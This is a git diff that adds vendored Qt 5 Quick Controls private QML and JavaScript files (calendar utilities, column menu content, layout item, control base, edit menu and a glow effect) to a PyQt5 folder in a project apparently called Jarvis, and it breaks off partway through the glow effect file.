b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/CalendarUtils.js @@ -0,0 +1,137 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +.pragma library + +var daysInAWeek = 7; +var monthsInAYear = 12; + +// Not the number of weeks per month, but the number of weeks that are +// shown on a typical calendar. +var weeksOnACalendarMonth = 6; + +// Can't create year 1 directly... +var minimumCalendarDate = new Date(-1, 0, 1); +minimumCalendarDate.setFullYear(minimumCalendarDate.getFullYear() + 2); +var maximumCalendarDate = new Date(275759, 9, 25); + +function daysInMonth(date) { + // Passing 0 as the day will give us the previous month, which will be + // date.getMonth() since we added 1 to it. + return new Date(date.getFullYear(), date.getMonth() + 1, 0).getDate(); +} + +/*! + Returns a copy of \a date with its month set to \a month, keeping the same + day if possible. Does not modify \a date. +*/ +function setMonth(date, month) { + var oldDay = date.getDate(); + var newDate = new Date(date); + // Set the day first, because setting the month could cause it to skip ahead + // a month if the day is larger than the latest day in that month. + newDate.setDate(1); + newDate.setMonth(month); + // We'd like to have the previous day still selected when we change + // months, but it might not be possible, so use the smallest of the two. + newDate.setDate(Math.min(oldDay, daysInMonth(newDate))); + return newDate; +} + +/*! + Returns the cell rectangle for the cell at the given \a index, assuming + that the grid has a number of columns equal to \a columns and rows + equal to \a rows, with an available width of \a availableWidth and height + of \a availableHeight. + + If \a gridLineWidth is greater than \c 0, the cell rectangle will be + calculated under the assumption that there is a grid between the cells: + + 31 | 1 | 2 | 3 | 4 | 5 | 6 + -------------------------------- + 7 | 8 | 9 | 10 | 11 | 12 | 13 + -------------------------------- + 14 | 15 | 16 | 17 | 18 | 19 | 20 + -------------------------------- + 21 | 22 | 23 | 24 | 25 | 26 | 27 + -------------------------------- + 28 | 29 | 30 | 31 | 1 | 2 | 3 + -------------------------------- + 4 | 5 | 6 | 7 | 8 | 9 | 10 +*/ +function cellRectAt(index, columns, rows, availableWidth, availableHeight, gridLineWidth) { + var col = Math.floor(index % columns); + var row = Math.floor(index / columns); + + var availableWidthMinusGridLines = availableWidth - ((columns - 1) * gridLineWidth); + var availableHeightMinusGridLines = availableHeight - ((rows - 1) * gridLineWidth); + var remainingHorizontalSpace = Math.floor(availableWidthMinusGridLines % columns); + var remainingVerticalSpace = Math.floor(availableHeightMinusGridLines % rows); + var baseCellWidth = Math.floor(availableWidthMinusGridLines / columns); + var baseCellHeight = Math.floor(availableHeightMinusGridLines / rows); + + var rect = Qt.rect(0, 0, 0, 0); + + rect.x = baseCellWidth * col; + rect.width = baseCellWidth; + if (remainingHorizontalSpace > 0) { + if (col < remainingHorizontalSpace) { + ++rect.width; + } + + // This cell's x position should be increased by 1 for every column above it. + rect.x += Math.min(remainingHorizontalSpace, col); + } + + rect.y = baseCellHeight * row; + rect.height = baseCellHeight; + if (remainingVerticalSpace > 0) { + if (row < remainingVerticalSpace) { + ++rect.height; + } + + // This cell's y position should be increased by 1 for every row above it. + rect.y += Math.min(remainingVerticalSpace, row); + } + + rect.x += col * gridLineWidth; + rect.y += row * gridLineWidth; + + return rect; +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/CalendarUtils.jsc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/CalendarUtils.jsc new file mode 100644 index 00000000..2b0e7a92 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/CalendarUtils.jsc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ColumnMenuContent.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ColumnMenuContent.qml new file mode 100644 index 00000000..5f8b4d68 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ColumnMenuContent.qml @@ -0,0 +1,252 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQml 2.14 as Qml +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +Item { + id: content + + property Component menuItemDelegate + property Component scrollIndicatorStyle + property Component scrollerStyle + property var itemsModel + property int minWidth: 100 + property real maxHeight: 800 + readonly property bool mousePressed: hoverArea.pressed + + signal triggered(var item) + + function menuItemAt(index) { + list.currentIndex = index + return list.currentItem + } + + width: Math.max(list.contentWidth, minWidth) + height: Math.min(list.contentHeight, fittedMaxHeight) + + readonly property int currentIndex: __menu.__currentIndex + property Item currentItem: null + property int itemHeight: 23 + + Component.onCompleted: { + var children = list.contentItem.children + for (var i = 0; i < list.count; i++) { + var child = children[i] + if (child.visible && child.styleData.type === MenuItemType.Item) { + itemHeight = children[i].height + break + } + } + } + + readonly property int fittingItems: Math.floor((maxHeight - downScroller.height) / itemHeight) + readonly property real fittedMaxHeight: itemHeight * fittingItems + downScroller.height + readonly property bool shouldUseScrollers: scrollView.style === emptyScrollerStyle && itemsModel.length > fittingItems + readonly property real upScrollerHeight: upScroller.visible ? upScroller.height : 0 + readonly property real downScrollerHeight: downScroller.visible ? downScroller.height : 0 + property var oldMousePos: undefined + property var openedSubmenu: null + + function updateCurrentItem(mouse) { + var pos = mapToItem(list.contentItem, mouse.x, mouse.y) + var dx = 0 + var dy = 0 + var dist = 0 + if (openedSubmenu && oldMousePos !== undefined) { + dx = mouse.x - oldMousePos.x + dy = mouse.y - oldMousePos.y + dist = Math.sqrt(dx * dx + dy * dy) + } + oldMousePos = mouse + if (openedSubmenu && dist > 5) { + var menuRect = __menu.__popupGeometry + var submenuRect = openedSubmenu.__popupGeometry + var angle = Math.atan2(dy, dx) + var ds = 0 + if (submenuRect.x > menuRect.x) { + ds = menuRect.width - oldMousePos.x + } else { + angle = Math.PI - angle + ds = oldMousePos.x + } + var above = submenuRect.y - menuRect.y - oldMousePos.y + var below = submenuRect.height - above + var minAngle = Math.atan2(above, ds) + var maxAngle = Math.atan2(below, ds) + // This tests that the current mouse position is in + // the triangle defined by the previous mouse position + // and the submenu's top-left and bottom-left corners. + if (minAngle < angle && angle < maxAngle) { + sloppyTimer.start() + return + } + } + + if (!currentItem || !currentItem.contains(Qt.point(pos.x - currentItem.x, pos.y - currentItem.y))) { + if (currentItem && !hoverArea.pressed + && currentItem.styleData.type === MenuItemType.Menu) { + currentItem.__closeSubMenu() + openedSubmenu = null + } + currentItem = list.itemAt(pos.x, pos.y) + if (currentItem) { + __menu.__currentIndex = currentItem.__menuItemIndex + if (currentItem.styleData.type === MenuItemType.Menu) { + showCurrentItemSubMenu(false) + } + } else { + __menu.__currentIndex = -1 + } + } + } + + function showCurrentItemSubMenu(immediately) { + if (!currentItem.__menuItem.__popupVisible) { + currentItem.__showSubMenu(immediately) + openedSubmenu = currentItem.__menuItem + } + } + + Timer { + id: sloppyTimer + interval: 1000 + + // Stop timer as soon as we hover one of the submenu items + property int currentIndex: openedSubmenu ? openedSubmenu.__currentIndex : -1 + onCurrentIndexChanged: if (currentIndex !== -1) stop() + + onTriggered: { + if (openedSubmenu && openedSubmenu.__currentIndex === -1) + updateCurrentItem(oldMousePos) + } + } + + Component { + id: emptyScrollerStyle + Style { + padding { left: 0; right: 0; top: 0; bottom: 0 } + property bool scrollToClickedPosition: false + property Component frame: Item { visible: false } + property Component corner: Item { visible: false } + property Component __scrollbar: Item { visible: false } + } + } + + ScrollView { + id: scrollView + anchors { + fill: parent + topMargin: upScrollerHeight + bottomMargin: downScrollerHeight + } + + style: scrollerStyle || emptyScrollerStyle + __wheelAreaScrollSpeed: itemHeight + + ListView { + id: list + model: itemsModel + delegate: menuItemDelegate + snapMode: ListView.SnapToItem + boundsBehavior: Flickable.StopAtBounds + highlightFollowsCurrentItem: true + highlightMoveDuration: 0 + } + } + + MouseArea { + id: hoverArea + anchors.left: scrollView.left + width: scrollView.width - scrollView.__verticalScrollBar.width + height: parent.height + + hoverEnabled: Settings.hoverEnabled + acceptedButtons: Qt.AllButtons + + onPositionChanged: updateCurrentItem({ "x": mouse.x, "y": mouse.y }) + onPressed: updateCurrentItem({ "x": mouse.x, "y": mouse.y }) + onReleased: { + if (currentItem && currentItem.__menuItem.enabled) { + if (currentItem.styleData.type === MenuItemType.Menu) { + showCurrentItemSubMenu(true) + } else { + content.triggered(currentItem) + } + } + } + onExited: { + if (currentItem && !currentItem.__menuItem.__popupVisible) { + currentItem = null + __menu.__currentIndex = -1 + } + } + + MenuContentScroller { + id: upScroller + direction: Qt.UpArrow + visible: shouldUseScrollers && !list.atYBeginning + function scrollABit() { list.contentY -= itemHeight } + } + + MenuContentScroller { + id: downScroller + direction: Qt.DownArrow + visible: shouldUseScrollers && !list.atYEnd + function scrollABit() { list.contentY += itemHeight } + } + } + + Timer { + interval: 1 + running: true + repeat: false + onTriggered: list.positionViewAtIndex(currentIndex, !scrollView.__style + ? ListView.Center : ListView.Beginning) + } + + Qml.Binding { + target: scrollView.__verticalScrollBar + property: "singleStep" + value: itemHeight + restoreMode: Binding.RestoreBinding + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ColumnMenuContent.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ColumnMenuContent.qmlc new file mode 100644 index 00000000..d5ada9cb Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ColumnMenuContent.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ContentItem.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ContentItem.qml new file mode 100644 index 00000000..2c5b3728 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ContentItem.qml @@ -0,0 +1,108 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Layouts 1.1 + +Item { + id: contentItem + property real minimumWidth: __calcMinimum('Width') + property real minimumHeight: __calcMinimum('Height') + property real maximumWidth: Number.POSITIVE_INFINITY + property real maximumHeight: Number.POSITIVE_INFINITY + implicitWidth: __calcImplicitWidth() + implicitHeight: __calcImplicitHeight() + + /*! \internal */ + property Item __layoutItem: contentItem.visibleChildren.length === 1 ? contentItem.visibleChildren[0] : null + /*! \internal */ + property real __marginsWidth: __layoutItem ? __layoutItem.anchors.leftMargin + __layoutItem.anchors.rightMargin : 0 + /*! \internal */ + property real __marginsHeight: __layoutItem ? __layoutItem.anchors.topMargin + __layoutItem.anchors.bottomMargin : 0 + + /*! \internal */ + property bool __noMinimumWidthGiven : false + /*! \internal */ + property bool __noMinimumHeightGiven : false + /*! \internal */ + property bool __noImplicitWidthGiven : false + /*! \internal */ + property bool __noImplicitHeightGiven : false + + function __calcImplicitWidth() { + if (__layoutItem && __layoutItem.anchors.fill) + return __calcImplicit('Width') + return contentItem.childrenRect.x + contentItem.childrenRect.width + } + + function __calcImplicitHeight() { + if (__layoutItem && __layoutItem.anchors.fill) + return __calcImplicit('Height') + return contentItem.childrenRect.y + contentItem.childrenRect.height + } + + function __calcImplicit(hw) { + var pref = __layoutItem.Layout['preferred' + hw] + if (pref < 0) { + pref = __layoutItem['implicit' + hw] + } + contentItem['__noImplicit' + hw + 'Given'] = (pref === 0 ? true : false) + pref += contentItem['__margins' + hw] + return pref + } + + function __calcMinimum(hw) { // hw is 'Width' or 'Height' + return (__layoutItem && __layoutItem.anchors.fill) ? __calcMinMax('minimum', hw) : 0 + } + + function __calcMaximum(hw) { // hw is 'Width' or 'Height' + return (__layoutItem && __layoutItem.anchors.fill) ? __calcMinMax('maximum', hw) : Number.POSITIVE_INFINITY + } + + function __calcMinMax(minMaxConstraint, hw) { + var attachedPropName = minMaxConstraint + hw + var extent = __layoutItem.Layout[attachedPropName] + + if (minMaxConstraint === 'minimum') + contentItem['__noMinimum' + hw + 'Given'] = (extent === 0 ? true : false) + + extent += contentItem['__margins' + hw] + return extent + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ContentItem.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ContentItem.qmlc new file mode 100644 index 00000000..d305adfd Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ContentItem.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/Control.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/Control.qml new file mode 100644 index 00000000..182a1e99 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/Control.qml @@ -0,0 +1,94 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls.Styles 1.1 + +/*! + \qmltype Control + \internal + \qmlabstract + \inqmlmodule QtQuick.Controls.Private +*/ +FocusScope { + id: root + + /*! \qmlproperty Component Control::style + + The style Component for this control. + \sa {Qt Quick Controls Styles QML Types} + + */ + property Component style + + /*! \internal */ + property QtObject __style: styleLoader.item + + /*! \internal */ + property Item __panel: panelLoader.item + + /*! \internal */ + property var styleHints + + implicitWidth: __panel ? __panel.implicitWidth: 0 + implicitHeight: __panel ? __panel.implicitHeight: 0 + baselineOffset: __panel ? __panel.baselineOffset: 0 + activeFocusOnTab: false + + /*! \internal */ + property alias __styleData: styleLoader.styleData + + Loader { + id: styleLoader + sourceComponent: style + property Item __control: root + property QtObject styleData: null + onStatusChanged: { + if (status === Loader.Error) + console.error("Failed to load Style for", root) + } + } + + Loader { + id: panelLoader + anchors.fill: parent + sourceComponent: __style ? __style.panel : null + onStatusChanged: if (status === Loader.Error) console.error("Failed to load Style for", root) + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/Control.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/Control.qmlc new file mode 100644 index 00000000..38270477 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/Control.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/EditMenu.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/EditMenu.qml new file mode 100644 index 00000000..fde124ea --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/EditMenu.qml @@ -0,0 +1,88 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +Loader { + property Item control + property Item input + property Item cursorHandle + property Item selectionHandle + property Flickable flickable + property Component defaultMenu: item && item.defaultMenu ? item.defaultMenu : null + property QtObject menuInstance: null + property MouseArea mouseArea + property QtObject style: __style + + Connections { + target: control + function onMenuChanged() { + if (menuInstance !== null) { + menuInstance.destroy() + menuInstance = null + } + } + } + + function getMenuInstance() + { + // Lazy load menu when first requested + if (!menuInstance && control.menu) { + menuInstance = control.menu.createObject(input); + } + return menuInstance; + } + + function syncStyle() { + if (!style) + return; + + if (style.__editMenu) + sourceComponent = style.__editMenu; + else { + // todo: get ios/android/base menus from style as well + source = (Qt.resolvedUrl(Qt.platform.os === "ios" ? "" + : Qt.platform.os === "android" ? "" : "EditMenu_base.qml")); + } + } + onStyleChanged: syncStyle(); + Component.onCompleted: syncStyle(); +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/EditMenu.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/EditMenu.qmlc new file mode 100644 index 00000000..e60c5cd6 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/EditMenu.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/EditMenu_base.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/EditMenu_base.qml new file mode 100644 index 00000000..346eba2d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/EditMenu_base.qml @@ -0,0 +1,173 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +Item { + id: editMenuBase + anchors.fill: parent + + Component { + id: undoAction + Action { + text: qsTr("&Undo") + shortcut: StandardKey.Undo + iconName: "edit-undo" + enabled: input.canUndo + onTriggered: input.undo() + } + } + + Component { + id: redoAction + Action { + text: qsTr("&Redo") + shortcut: StandardKey.Redo + iconName: "edit-redo" + enabled: input.canRedo + onTriggered: input.redo() + } + } + + Component { + id: cutAction + Action { + text: qsTr("Cu&t") + shortcut: StandardKey.Cut + iconName: "edit-cut" + enabled: !input.readOnly && selectionStart !== selectionEnd + onTriggered: { + input.cut(); + input.select(input.cursorPosition, input.cursorPosition); + } + } + } + + Component { + id: copyAction + Action { + text: qsTr("&Copy") + shortcut: StandardKey.Copy + iconName: "edit-copy" + enabled: input.selectionStart !== input.selectionEnd + onTriggered: { + input.copy(); + input.select(input.cursorPosition, input.cursorPosition); + } + } + } + + Component { + id: pasteAction + Action { + text: qsTr("&Paste") + shortcut: StandardKey.Paste + iconName: "edit-paste" + enabled: input.canPaste + onTriggered: input.paste() + } + } + + Component { + id: deleteAction + Action { + text: qsTr("Delete") + shortcut: StandardKey.Delete + iconName: "edit-delete" + enabled: !input.readOnly && input.selectionStart !== input.selectionEnd + onTriggered: input.remove(input.selectionStart, input.selectionEnd) + } + } + + Component { + id: clearAction + Action { + text: qsTr("Clear") + shortcut: StandardKey.DeleteCompleteLine + iconName: "edit-clear" + enabled: !input.readOnly && input.length > 0 + onTriggered: input.remove(0, input.length) + } + } + + Component { + id: selectAllAction + Action { + text: qsTr("Select All") + shortcut: StandardKey.SelectAll + enabled: !(input.selectionStart === 0 && input.selectionEnd === input.length) + onTriggered: input.selectAll() + } + } + + property Component defaultMenu: Menu { + MenuItem { action: undoAction.createObject(editMenuBase) } + MenuItem { action: redoAction.createObject(editMenuBase) } + MenuSeparator {} + MenuItem { action: cutAction.createObject(editMenuBase) } + MenuItem { action: copyAction.createObject(editMenuBase) } + MenuItem { action: pasteAction.createObject(editMenuBase) } + MenuItem { action: deleteAction.createObject(editMenuBase) } + MenuItem { action: clearAction.createObject(editMenuBase) } + MenuSeparator {} + MenuItem { action: selectAllAction.createObject(editMenuBase) } + } + + Connections { + target: mouseArea + + function onClicked() { + if (input.selectionStart === input.selectionEnd) { + var cursorPos = input.positionAt(mouse.x, mouse.y) + input.moveHandles(cursorPos, cursorPos) + } + + input.activate() + + if (control.menu) { + var menu = getMenuInstance(); + menu.__dismissAndDestroy(); + var menuPos = mapToItem(null, mouse.x, mouse.y) + menu.__popup(Qt.rect(menuPos.x, menuPos.y, 0, 0), -1, MenuPrivate.EditMenu); + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/EditMenu_base.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/EditMenu_base.qmlc new file mode 100644 index 00000000..270ae19c Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/EditMenu_base.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/FastGlow.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/FastGlow.qml new file mode 100644 index 00000000..1a8b7a81 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/FastGlow.qml @@ -0,0 +1,330 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.4 + +Item { + id: rootItem + property variant source + property real spread: 0.0 + property real blur: 0.0 + property color color: "white" + property bool transparentBorder: false + property bool cached: false + + SourceProxy { + id: sourceProxy + input: rootItem.source + } + + ShaderEffectSource { + id: cacheItem + anchors.fill: shaderItem + visible: rootItem.cached + smooth: true + sourceItem: shaderItem + live: true + hideSource: visible + } + + property string __internalBlurVertexShader: "qrc:/QtQuick/Controls/Shaders/blur.vert" + + property string __internalBlurFragmentShader: "qrc:/QtQuick/Controls/Shaders/blur.frag" + + ShaderEffect { + id: level0 + property variant source: sourceProxy.output + 